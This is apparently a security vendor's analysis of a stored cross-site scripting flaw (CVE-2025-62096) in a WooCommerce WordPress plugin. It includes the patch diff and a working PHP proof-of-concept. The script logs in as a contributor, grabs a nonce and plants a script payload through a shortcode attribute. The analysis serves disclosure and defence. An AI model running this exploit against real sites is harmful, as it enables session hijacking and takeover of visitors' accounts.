Atomic Edge analysis of CVE-2025-62096:
This vulnerability is an authenticated stored Cross-Site Scripting (XSS) flaw in the Maximum Products per User for WooCommerce WordPress plugin. The vulnerability affects the plugin’s shortcode output generation, allowing contributors and higher-privileged users to inject arbitrary JavaScript. The CVSS score of 6.4 reflects the medium severity of this stored XSS issue.
The root cause is insufficient output escaping in the `current_product_limit_shortcode` function within `/includes/class-alg-wc-mppu-shortcodes.php`. The function returns user-controlled data directly to the browser without proper sanitization. The vulnerable code paths are at lines 223 and 225 in the diff, where `$output_msg` and `$atts[‘output_template’]` are concatenated and returned without escaping. The function processes shortcode attributes that can contain malicious payloads.
An attacker with contributor-level access or higher can exploit this vulnerability by creating or editing a post containing the plugin’s shortcode with malicious JavaScript payloads in its attributes. The shortcode `[alg_wc_mppu_current_product_limit]` accepts parameters like `output_template` and `empty_msg_removes_template`. An attacker would embed a payload such as `alert(document.cookie)` within these parameters. When any user views the post containing the malicious shortcode, the payload executes in their browser context.
The patch adds `wp_kses_post()` calls to sanitize the output before returning it. In the patched version at line 223, the function returns `wp_kses_post($output_msg)` instead of the raw `$output_msg`. At line 225, both `$output_msg` and `$atts[‘output_template’]` are passed through `wp_kses_post()` before being concatenated. The `wp_kses_post()` function applies WordPress’s allowed HTML tags and attributes filtering, neutralizing JavaScript payloads while preserving safe HTML formatting.
Successful exploitation allows attackers to execute arbitrary JavaScript in the context of any user viewing the compromised post. This can lead to session hijacking, account takeover, content defacement, or redirection to malicious sites. Since the payload is stored in the database, the attack persists across sessions and affects all users who access the injected content. The attacker’s ability to act as any authenticated user enables data theft and privilege escalation within the WordPress environment.
--- a/maximum-products-per-user-for-woocommerce/includes/class-alg-wc-mppu-shortcodes.php
+++ b/maximum-products-per-user-for-woocommerce/includes/class-alg-wc-mppu-shortcodes.php
@@ -2,7 +2,7 @@
/**
* Maximum Products per User for WooCommerce - Shortcodes.
*
- * @version 4.3.7
+ * @version 4.4.4
* @since 2.5.0
* @author WPFactory
*/
@@ -134,7 +134,7 @@
/**
* current_product_limit_shortcode.
*
- * @version 4.3.7
+ * @version 4.4.4
* @since 2.5.1
* @todo [later] different (customizable) message depending on `$remaining`
*/
@@ -220,9 +220,9 @@
}
// Return message.
if ( empty( $output_msg ) && $atts['empty_msg_removes_template'] ) {
- return $output_msg;
+ return wp_kses_post( $output_msg );
} else {
- return str_replace( '{msg_template}', $output_msg, $atts['output_template'] );
+ return str_replace( '{msg_template}', wp_kses_post( $output_msg ), wp_kses_post( $atts['output_template'] ) );
}
}
--- a/maximum-products-per-user-for-woocommerce/includes/class-alg-wc-mppu.php
+++ b/maximum-products-per-user-for-woocommerce/includes/class-alg-wc-mppu.php
@@ -24,7 +24,7 @@
* @since 1.0.0
* @var string
*/
- public $version = '4.4.3';
+ public $version = '4.4.4';
/**
* @since 1.0.0
--- a/maximum-products-per-user-for-woocommerce/maximum-products-per-user-for-woocommerce.php
+++ b/maximum-products-per-user-for-woocommerce/maximum-products-per-user-for-woocommerce.php
@@ -3,7 +3,7 @@
Plugin Name: Maximum Products per User for WooCommerce
Plugin URI: https://wpfactory.com/item/maximum-products-per-user-for-woocommerce/
Description: Limit number of items your WooCommerce customers can buy (lifetime or in selected date range).
-Version: 4.4.3
+Version: 4.4.4
Author: WPFactory
Author URI: https://wpfactory.com
Text Domain: maximum-products-per-user-for-woocommerce
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-62096 - Maximum Products per User for WooCommerce <= 4.4.3 - Authenticated (Contributor+) Stored Cross-Site Scripting
<?php
$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';
$post_id = 123; // ID of post to edit
// Payload to inject into shortcode attributes
$xss_payload = '<script>alert("Atomic Edge XSS Test");</script>';
// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
// Check if login succeeded by looking for admin dashboard
if (strpos($response, 'wp-admin') === false) {
die('Login failed. Check credentials.');
}
// Get edit post page to retrieve nonce
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php?post=' . $post_id . '&action=edit');
curl_setopt($ch, CURLOPT_HTTPGET, true);
$response = curl_exec($ch);
// Extract nonce from the page (simplified pattern - adjust as needed)
preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';
if (empty($nonce)) {
die('Could not retrieve nonce. The user may not have edit permissions for this post.');
}
// Construct malicious shortcode with XSS payload
$malicious_shortcode = '[alg_wc_mppu_current_product_limit output_template="' . $xss_payload . '"]';
// Update the post with malicious shortcode
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'post_ID' => $post_id,
'content' => 'This post contains a malicious shortcode. ' . $malicious_shortcode,
'_wpnonce' => $nonce,
'_wp_http_referer' => '/wp-admin/post.php?post=' . $post_id . '&action=edit',
'action' => 'editpost',
'post_type' => 'post',
'save' => 'Update'
]));
$response = curl_exec($ch);
// Check if update succeeded
if (strpos($response, 'Post updated') !== false || strpos($response, 'Post published') !== false) {
echo 'Exploit successful. Visit ' . $target_url . '/?p=' . $post_id . ' to trigger the XSS.';
} else {
echo 'Post update may have failed. Check user permissions and post status.';
}
curl_close($ch);
?>